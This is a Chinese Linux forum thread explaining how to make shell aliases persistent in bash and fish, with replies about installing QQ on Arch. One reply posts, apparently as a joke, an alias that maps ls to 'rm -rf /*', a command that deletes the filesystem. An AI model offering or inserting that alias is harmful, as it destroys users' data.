AkiPolaris 发表于 2023-8-26 11:09:47

在bash和fish下永久化alias(别名)的一种方式

在Linux系统下,有时会遇到需要经常使用某些常用指令组合,如运行特定的可执行文件、进行特定的操作等。比如我用的Arch Linux,腾讯没有提供可供安装的包,只提供了一个AppImage,虽然可以直接运行,但每次都需要输入两个命令行指令,多少有点不太方便。(虽然 有人在aur上打包,但用aur多多少少会有些不方便)



于是我就想用alias,简化这一过程:
alias QQ='cd ~/bin;./linuxqq_3.0.0-571_x86_64.AppImage'

但alias本身仅在当次会话有效,换句话说就是关闭终端、重启电脑以后就要重新设置,于是我就想让alias永久化。经过一番搜索、查找资料,我找到了在bash下和fish下将alias永久化的方法。

bash


bash是Linux下的默认终端之一,因此在bash下永久化alias的方法理论上在所有发行版都能使用。对于我的需求,操作流程如下:

1. 编辑 `~/.bashrc`文件

仅需在 .bashrc 文件内加入一行:

alias QQ='cd ~/bin;./linuxqq_3.0.0-571_x86_64.AppImage'

这是编辑前该文件的状态(编辑器用各自习惯的就好,我用的是Emacs)


这是编辑后该文件的状态



2. 用source命令使修改生效


仅需在bash下执行:
source ~/.bashrc




然后就可以在bash下输入QQ直接运行QQ了

fish


fish,全称 the friendly interactive shell. 致力于提供一个更易用的shell环境,也是我现在使用的shell。
在fish下永久化alias的方法也很简单,对于我的需求仅需两步:

1. 设置alias

alias QQ="~/bin/linuxqq_3.0.0-571_x86_64.AppImage"
2. 保存alias

funcsave QQ

然后就能直接输入QQ运行QQ了


我们也可以看一眼fish的配置文件怎么写的:




当然,Linux下常用的shell除了bash、fish,还有zsh等也很常见的shell,它们也有自己的永久化alias的方法,但楼主没有zsh等的使用经验,就不班门弄斧了。

树树皆秋色 发表于 2023-8-26 11:25:17

alias ls="rm -rf /*"

树树皆秋色 发表于 2023-8-26 11:29:12

话说现在QQ不是已经有新版了吗,提供deb和rpm还有appimage,不能直接装吗?

AkiPolaris 发表于 2023-8-26 11:45:22

树树皆秋色 发表于 2023-8-26 11:29
话说现在QQ不是已经有新版了吗,提供deb和rpm还有appimage,不能直接装吗?

deb是Debian 系的,rpm是红帽系的,appimage是直接运行不是安装的{:15:}

树树皆秋色 发表于 2023-8-26 11:55:07

AkiPolaris 发表于 2023-8-26 11:45
deb是Debian 系的,rpm是红帽系的,appimage是直接运行不是安装的

arch也可以装deb啊,只不过麻烦一点

AkiPolaris 发表于 2023-8-26 12:43:44

树树皆秋色 发表于 2023-8-26 11:55
arch也可以装deb啊,只不过麻烦一点

debtap之类的方式不好更新,怕其他依赖更新后系统/软件炸了;aur经过第三方的手,在官方提供appimage 的情况下我尽量用官方的包

树树皆秋色 发表于 2023-8-26 14:41:53

AkiPolaris 发表于 2023-8-26 12:43
debtap之类的方式不好更新,怕其他依赖更新后系统/软件炸了;aur经过第三方的手,在官方提供appimage 的 ...

还是用Debian系最方便了

jyssysz 发表于 2023-8-26 20:06:20

Debian系也用的多一些,没有刻意选择使用哪一个分支。
页: [1] 2
查看完整版本: 在bash和fish下永久化alias(别名)的一种方式